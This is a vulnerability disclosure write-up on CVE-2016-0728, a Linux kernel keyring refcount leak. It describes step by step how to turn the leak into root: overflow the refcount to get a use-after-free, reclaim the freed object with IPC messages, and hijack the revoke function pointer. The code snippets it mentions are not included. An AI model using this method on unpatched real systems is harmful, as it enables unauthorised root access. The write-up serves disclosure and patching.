The Perception Point Research team has identified a 0-day local privilege escalation vulnerability in the Linux kernel. While the vulnerability has existed since 2012, our team discovered the vulnerability only recently, disclosed the details to the Kernel security team, and later developed a proof-of-concept exploit. As of the date of disclosure, this vulnerability has implications for approximately tens of millions of Linux PCs and servers, and 66 percent of all Android devices (phones/tablets). While neither us nor the Kernel security team have observed any exploit targeting this vulnerability in the wild, we recommend that security teams examine potentially affected devices and implement patches as soon as possible. In this write-up, we’ll discuss the technical details of the vulnerability as well as the techniques used to achieve kernel code execution using the vulnerability. Ultimately, the PoC provided successfully escalates privileges from a local user to root.

The Bug

CVE-2016-0728 is caused by a reference leak in the keyrings facility. Before we dive into the details, let’s cover some background required to understand the bug.

Quoting directly from its manpage, the keyrings facility is primarily a way for drivers to retain or cache security data, authentication keys, encryption keys and other data in the kernel. System call interfaces – keyctl syscall (there are two other syscalls that are used for handling keys: add_key and request_key. keyctl, however, is definitely the most important one for this write-up.) are provided so that userspace programs can manage those objects and use the facility for their own purposes.

Each process can create a keyring for the current session using keyctl(KEYCTL_JOIN_SESSION_KEYRING, name)  and can choose to either assign a name to the keyring or not by passing NULL. The keyring object can be shared between processes by referencing the same keyring name. If a process already has a session keyring, this same system call will replace its keyring with a new one. If an object is shared between processes, the object’s internal refcount, stored in a field called usage, is incremented. The leak occurs when a process tries to replace its current session keyring with the very same one. As we see in the next code snippet, taken from kernel version 3.18, the execution jumps to error2 label which skips the call to key_put and leaks the reference that was increased by find_keyring_by_name.

Triggering the bug from userspace is fairly straightforward, as we can see in the following code snippet:

which results the following output having leaked-keyring 100 references:

leak_example

Exploiting the Bug

Even though the bug itself can directly cause a memory leak, it has far more serious consequences. After a quick examination of the relevant code flow, we found that the usage field used to store the reference count for the object is of type atomic_t, which under the hood, is basically an int – meaning 32-bit on both 32-bit and 64-bit architectures. While every integer is theoretically possible to overflow, this particular observation makes practical exploitation of this bug as a way to overflow the reference count seem feasible. And it turns out no checks are performed to prevent overflowing the usage field from wrapping around to 0.

If a process causes the kernel to leak 0x100000000 references to the same object, it can later cause the kernel to think the object is no longer referenced and consequently free the object. If the same process holds another legitimate reference and uses it after the kernel freed the object, it will cause the kernel to reference deallocated, or a reallocated memory. This way, we can achieve a use-after-free, by using the exact same bug from before. A lot has been written on use-after-free vulnerability exploitation in the kernel, so the following steps wouldn’t surprise an experienced vulnerability researcher. The outline of the steps that to be executed by the exploit code is as follows:

  1. Hold a (legitimate) reference to a key object
  2. Overflow the same object’s usage
  3. Get the keyring object freed
  4. Allocate a different kernel object from user-space, with a user-controlled content, over the same memory previously used by the freed keyring object
  5. Use the reference to the old key object and trigger code execution

Step 1 is completely out of the manpage, step 2 was explained earlier. Let’s dive into the technical details of the rest of the steps.

Overflowing usage Refcoun

This step is actually an extension of the bug. The usage field is of int type which means it has a max value of 2^32 both on 32-bit and 64-bit architectures. To overflow the usage field we have to loop the snippet above 2^32 times to get usage to zero.

Freeing keyring object

There are a couple of ways to get the keyring object freed while holding a reference to it.  One possible way is using one process to overflow the keyring usage field to 0 and getting the object freed by the Garbage Collection algorithm inside the keyring subsystem which frees any keyring object the moment the usage counter is 0.

One caveat though, if we look at the join_session_keyring function prepare_creds also increments the current session keyring and abort_creds or commit_creds decrements it respectively. The problem is that abort_creds doesn’t decrement the keyring’s usage field synchronically but it is called later using rcu job, which means we can overflow the usage counter without knowing it was overflowed. It is possible to solve this issue by using sleep(1) after each call to join_session_keyring, of course it is not feasible to sleep(2^32) seconds. A feasible work around will be to use a variation of the divide-and-conquer algorithm and to sleep after 2^31-1 calls, then after 2^30-1 etc… this way we never overflow unintentionally because the maximum value of refcount can be double the value it should be if no jobs where called.

Allocating and controlling kernel object

Having our process point to a freed keyring object, now we need to allocate a kernel object that will override the freed keyring object. That will be easy thanks to how SLAB memory works, allocating many objects of the keyring size just after the object is freed. We choose to use the Linux IPC subsystem to send messages of size 0xb8 – 0x30  when 0xb8 is the size of the keyring object and 0x30 is the size of a message header.

This way we control the lower 0x88 bytes of the keyring object.

Gaining kernel code execution

From here it’s pretty easy thanks to the struct key_type inside the keyring object which contains many function pointers. An interesting function pointer is the revoke function pointer which can be invoked using the keyctl(KEY_REVOKE, key_name) syscall. The following is the Linux kernel snippet calling the revoke function:

The keyring object should be filled as follows:

key_type_struct

The uid and flags attributes should be filled that way to pass a few control check until the execution gets to key->type->revoke. The type field should point to a user-space struct containing the function pointers with revoke pointing to a function that will be executed with root privileges. Here is a code snippet that demonstrates this.

Addresses of commit_creds and prepare_kernel_cred functions are static and can be determined per Linux kernel version/android device.

Now the last step is of course:

here is a link to the full exploit which runs on kernel 3.18 64-bit, following is the output of running the full exploit which takes about 30 minutes to run on Intel Core i7-5500 CPU (Usually time is not an issue in a privilege escalation exploit):
cve_2016_0728

Mitigations & Conclusions

The vulnerability affects any Linux Kernel version 3.8 and higher.  SMEP & SMAP will make it difficult to exploit as well as SELinux on android devices. Maybe we’ll talk about tricks to bypass those mitigation in upcoming blogs, anyway the most important thing  for now is to patch it as soon as you can.

Thanks to David Howells, Wade Mealing and the whole Red Hat Security team for that fast response and the cooperation fixing the bug.

Perception Point Research Team

More Articles

Analysis and exploitation of a Linux kernel vulnerability (CVE-2016-0728)

The Perception Point Research team has identified a 0-day local privilege escalation vulnerability in the Linux kernel.
Read More